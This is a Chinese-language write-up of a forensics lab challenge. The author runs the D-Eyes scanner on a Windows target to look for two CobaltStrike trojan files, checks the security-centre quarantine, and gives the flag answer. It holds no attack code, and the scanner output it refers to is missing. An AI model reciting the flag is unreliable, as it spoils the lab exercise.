“原靶机中是可以使用工具D-Eyes.exe扫描出来的”;
而且还可以看见具体路径,如果这里扫描不出来,我们也是可以从“window安全中心”的隔离区看见的,但是奇怪的就是安全中心的隔离区也看不见!
“玄机靶机”
可以使用命令来排查异常的进程;
.\D-Eyes.exe ps
得到;
并没有发现(因为已经被删完了肯定啥也没有啊!),不过我们可以继续输入.\D-Eyes fs
进行C盘恶意文件扫描;
.\D-Eyes fs
得到;
同样的,我们去查看“window安全中心”的隔离区也是没有任何发现;
接着;
但是原题中的是可以看见具体的;
而且这两个恶意文件如果丢到微步中是可以查出是“CobaltStrike木马”的,当然这是原题中查的;(题目说的两个CobaltStrike木马文件目前已全部找到!)
另外一个也同样是;
那这题我们就暂时这样,由于环境限制原因并没有全部复现完成确实有点可惜,但只要明白其中的原理那也就还好!
最后按照题目的提交格式:(答案格式:“A.exe,B.exe”)
至此;
flag{SystemTemp.exe,SysnomT.exe}
这篇关于玄机——第九章-Where-1S-tHe-Hacker wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!